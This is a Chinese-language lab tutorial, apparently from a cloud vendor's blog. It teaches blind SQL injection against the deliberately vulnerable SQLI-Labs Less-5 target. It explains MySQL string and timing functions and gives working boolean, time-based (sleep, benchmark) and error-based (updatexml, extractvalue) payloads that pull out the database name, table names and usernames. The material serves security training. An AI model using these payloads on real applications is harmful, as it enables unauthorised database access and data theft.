【less-5】基于SQLI的SQL盲注常用函数

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: 【less-5】基于SQLI的SQL盲注常用函数

实验目的

通过本实验理解MySQL盲注常用函数的功能,掌握MySQL盲注常用函数在SQL注入中的应用方法,熟悉SQL注入的常见流程。

实验环境

渗透平台:Kali

目标网站:SQLI平台中的Less-5

实验原理

先来分析一下Less-5源码中GET提交不同参数时的反应

(1)如果正确

(2)如果错误

(3)如果提交?id=1’时浏览器前端的反应

可以看到,如果运行返回结果正确的时候只返回you are in…,不会返回数据库当中的信息了,此时可以采用逻辑判断是否正确的盲注来获取信息。

实验步骤

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-5

在浏览器地址栏中输入http://【靶机IP】/Less-5/,访问SQLI-Labs的less-5。


说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

第三步 利用left(a,b)获取信息

LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。


LEFT(str,length);如果str或length参数为NULL,则返回NULL值。


str是要提取子字符串的字符串;


length是一个正整数,指定将从左边返回的字符数。


代码示例:

如果length为0或为负,则LEFT函数返回一个空字符串

如果length大于str字符串的长度,则LEFT函数返回整个str字符串

利用left(database(),1)进行尝试


http://【靶机IP】/Less-5?id=1’ and left(version(),1)=5–+


查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。

第四步 利用length函数判断数据库长度、字母

length功能介绍:

返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。

在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:

length: 一个汉字算三个字符,一个数字或字母算一个字符。

char_length:不管汉字还是数字或者是字母都算是一个字符。

这意味着,对于包含五个两字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。

https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and length(database())=8--+

判断错误时的表现

判断正确,确定数据库长度是8

  判断正确,确定数据库名的第一个字符是s

https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),1)='s'--+

https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),1)='r'--+

第二位为e:

https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and left(database(),2)='se'--+

数据库名为security,8位,首位为s。

可以使用这种方法,依次猜解数据库名的各个字符是什么。

第五步 利用substr或substring函数获取表信息

(1)SUBSTR(str,pos):表示从pos开始的位置,一直截取到最后。

SUBSTR(str,pos,len):表示从pos开始的位置,截取len个字符(空格也算字符)。

(2)另外一个函数ascii()功能如下:

根据获取的数据库的名称为security,那么继续猜测security数据库下面的表信息:

测试语句

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))>100--+

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+

判断错误

推测该数据库的第一个表的第一个字符为“e”,对应ASCII码为101

按照这种方法,依次来猜测数据库的第一个表名所对应各个字符的ASCII值是多少

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>101--+
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))>101--+

第一个表为emails,首字母为e,e的ASCII码为101,故与101比较

第六步 利用ord()和mid()等函数获取表中信息

(1)函数ord():返回字符串str的最左面字符的ASCII代码值。

(2)函数mid()

MID()函数用于得到一个字符串的一部分。

这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server、Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。

(3)函数cast()和convert()

MySQL的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。

可以转换的类型是有限制的。这个类型可以是以下值其中的一个:

代码示例:

(4)函数ifnull()

形式是IFNULL(A,B),意义是当字段A是NULL时取B,不是NULL时取A的值。

id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

D的ASCII码为68,故首先与68比较

获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。(如果查询出的结果是空值,应当转换成空字符串)

https://sqli.wmcoder.site/sqli-labs/Less-5?id=1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

第七步 利用延时函数sleep()或benchmark()获取信息

(1)利用sleep()函数注入

id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

当错误的时候会有5秒的时间延迟。

(2)利用benchmark()函数注入

id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候,运行encode(‘MSG’,‘by 5 second’)操作50000000次,会占用一定的时间。

第八步 利用Xpath函数报错注入

(1)updatexml()函数

作用:改变文档中符合条件的节点的值。

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称;


第二个参数:XPath_string (Xpath格式的字符串) ;


第三个参数:new_value,String格式,替换查找到的符合条件的数据。


(2)CONCAT(str1,str2,…)函数

作用:返回结果为连接参数产生的字符串。如有任何一个参数为NULL,则返回值为NULL。

通过查询@@version,返回版本号,然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

渗透语句

id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

(3)extractvalue()函数

extractvalue():对XML文档进行查询的函数,其实就是相当于HTML文件中用

标签查找元素。

语法:extractvalue(目标xml文档,xml路径)

第二个参数“xml路径”是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是想要查询的内容。

渗透语句

id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+


思考与总结

通过本次实验,成功实现了利用各种函数功能结合SQL注入漏洞来获取MySQL数据库中的信息。

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
21天前
|
SQL Oracle 关系型数据库
SQL优化-使用联合索引和函数索引
在一次例行巡检中,发现一条使用 `to_char` 函数将日期转换为字符串的 SQL 语句 CPU 利用率很高。为了优化该语句,首先分析了 where 条件中各列的选择性,并创建了不同类型的索引,包括普通索引、函数索引和虚拟列索引。通过对比不同索引的执行计划,最终确定了使用复合索引(包含函数表达式)能够显著降低查询成本,提高执行效率。
|
27天前
|
SQL 数据库 数据库管理
数据库SQL函数应用技巧与方法
在数据库管理中,SQL函数是处理和分析数据的强大工具
|
28天前
|
SQL 数据库 索引
SQL中COUNT函数结合条件使用的技巧与方法
在SQL查询中,COUNT函数是一个非常常用的聚合函数,用于计算表中满足特定条件的记录数
|
28天前
|
SQL 关系型数据库 MySQL
SQL日期函数
SQL日期函数
|
3月前
|
SQL 数据库
|
2月前
|
SQL 关系型数据库 C语言
PostgreSQL SQL扩展 ---- C语言函数(三)
可以用C(或者与C兼容,比如C++)语言编写用户自定义函数(User-defined functions)。这些函数被编译到动态可加载目标文件(也称为共享库)中并被守护进程加载到服务中。“C语言函数”与“内部函数”的区别就在于动态加载这个特性,二者的实际编码约定本质上是相同的(因此,标准的内部函数库为用户自定义C语言函数提供了丰富的示例代码)
|
3月前
|
SQL 数据采集 数据处理
如何在 SQL Server 中使用 LEN 函数
【8月更文挑战第9天】
156 1
如何在 SQL Server 中使用 LEN 函数
|
3月前
|
SQL 数据处理 数据库
SQL中的函数有哪些类型
【8月更文挑战第20天】SQL中的函数有哪些类型
36 1
|
3月前
|
SQL 监控 索引
如何在 SQL Server 中使用 `PATINDEX` 函数
【8月更文挑战第8天】
353 9
|
3月前
|
SQL 数据处理 数据库